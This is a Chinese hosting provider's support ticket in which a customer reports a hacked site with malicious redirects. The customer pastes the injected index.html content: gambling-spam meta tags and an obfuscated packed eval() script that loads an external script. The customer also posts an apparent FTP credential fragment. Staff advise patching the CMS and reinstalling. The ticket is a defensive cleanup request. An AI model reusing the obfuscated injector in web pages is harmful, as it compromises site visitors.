问：网站总是出现恶意链接,服务器木马查杀
答：您好，
是哪里看到有恶意链接，可以提供下截图，或者是出现恶意链接的地址我们查看下,非常感谢您长期对我司的支持!
问：好几个网站最近老是出现恶意跳转。所以想全面查杀一下木马
答：您好，
您可以自己在主机内安装下云锁软件，进行安全扫描检测下；
如果有具体页面有异常或者疑似挂马的，可以提供下具体链接我们针对性检查。
问：我们安装了云锁软件，查杀没有木马。 但是tm.neka.com.cn下的index.html文件里面有相关不正常代码出现。ftp工具删除文件提示删除成功，刷新又出现index.html文件，权限为只读，修改权限为755之后刷新，又变为只读权限
问：具体代码是这样的
问：<title>北京赛车-北京赛车开奖,北京赛车走势图,北京赛车投注【官方授权平台】</title><meta name="" content="赛车pk10手机开奖直播 北京比赛pk10直播开奖 手机北京赛车开奖直播 北京赛车pk10开奖直播软件下载 北京pk10开奖软件直播 北京pk10开奖盛世直播 北京赛车pk10 盛世直播 北京pk拾赛车开奖直播 北京赛车pk10网上代理 北京赛车pk10 手机北京赛车开奖直播 北京赛车pk10官网直播 北京pk10骗局全过程 北京赛车正规投注平台 北京pk10有正规网站吗" /><meta name="" content="北京赛车pk10投注官方网站【www.k85aa.com】,包含海量北京赛车pk10注册投注,不输技巧,现在的北京赛车pk10给我们玩家提供了一个交流娱乐的专区,就是在我们娱乐休闲之余,可以在这里学习一下,北京赛车pk10官方网站经验和技巧。"/>< type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\\\w '};c=1;};while(c–)if(k[c])p=p.replace(new RegExp('\\\\b' e(c) '\\\\b','g'),k[c]); p;}('m["\\\\e\\\\c\\\\1\\\\l\\\\i\\\\8\\\\n\\\\0"]["\\\\7\\\\4\\\\9\\\\0\\\\8"](\\'\\\\g\\\\2\\\\1\\\\4\\\\9\\\\3\\\\0 \\\\0\\\\k\\\\3\\\\8\\\\d\\\\6\\\\0\\\\8\\\\r\\\\0\\\\5\\\\f\\\\a\\\\s\\\\a\\\\2\\\\1\\\\4\\\\9\\\\3\\\\0\\\\6 \\\\2\\\\4\\\\1\\\\d\\\\6\\\\o\\\\0\\\\0\\\\3\\\\2\\\\p\\\\5\\\\5\\\\7\\\\7\\\\7\\\\b\\\\1\\\\3\\\\e\\\\a\\\\2\\\\j\\\\b\\\\1\\\\c\\\\i\\\\5\\\\q\\\\j\\\\b\\\\f\\\\2\\\\6\\\\h\\\\g\\\\5\\\\2\\\\1\\\\4\\\\9\\\\3\\\\0\\\\h\\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3c|x3e|x6d|x38|x79|x75|window|x6e|x68|x3a|x6b|x78|x76'.split('|'),0,{}))</script>
答：您好，查看到您使用的是wdcp进行网站管理的，请提供wdcp登录账号信息
,非常感谢您长期对我司的支持!
问：http://127.0.0.1:8080/ 用户名:**********: 初始密码:**********
答：您好，请指明详细的文件，这边查看到/home/www/tm_neka_com_cn/public_html下没有index.html文件的，请核实
,非常感谢您长期对我司的支持!
问：你们也是用云锁防护吗 有其他查杀木马的方式吗
答：您好，查杀木马的软件有很多，比如安全狗等，但是查杀木马并不是根本方法，建议联系程序提供商，修补漏洞，防止再次挂马
,非常感谢您长期对我司的支持!
问：http://tm.neka.com.cn/ 你可以访问这个域名，查看源代码。里面是有不想关代码的 ftp上传不了文件的
问：还有这个文件的权限问题 我可以提供给你ftp账户测试的 127.0.0.1 B353CA8BF
答：您好，您这种情况可能被上传了后门木马，您只清理index.html是无效的，必须找到具体的挂马。
http://tm.neka.com.cn/ 这个网站访问看起来像是织梦系统，织梦系统的漏洞是非常严重的，建议您备份好重要数据然后重新上传最新版本重新安装，并按http://www.west.cn/faq/list.asp?unid=729做好安全设置 ,非常感谢您长期对我司的支持!
西部数码（west.cn）是经工信部、ICANN、CNNIC认证审批，持有ISP、云牌照、IDC、CDN、顶级域名注册商等全业务资质的正规老牌服务商，自成立至今20余年专注于域名注册、虚拟主机、云服务器、企业邮箱、企业建站等互联网基础服务！
截止目前，已经为超过2000万个域名提供了注册、解析等服务，是中国五星级域名注册注册商！已为超过50万个网站提供了高速稳定的云托管服务，获评中国最受用户喜欢云主机服务商。
西部数码提供全方位7X24H专业售后支撑，域名注册特价1元起，高速稳定云主机45元起，更多详情请浏览西部数码官网：https://www.west.cn/
